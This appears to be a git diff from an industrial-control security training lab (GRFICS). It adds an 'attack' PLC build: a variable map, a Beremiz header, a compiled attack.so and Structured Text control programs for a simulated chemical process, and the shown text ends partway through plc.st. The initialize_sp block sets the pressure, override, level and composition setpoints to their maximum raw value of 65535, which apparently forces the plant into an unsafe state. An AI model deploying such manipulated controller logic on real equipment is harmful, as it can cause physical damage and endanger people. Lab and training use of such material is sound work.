+416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : 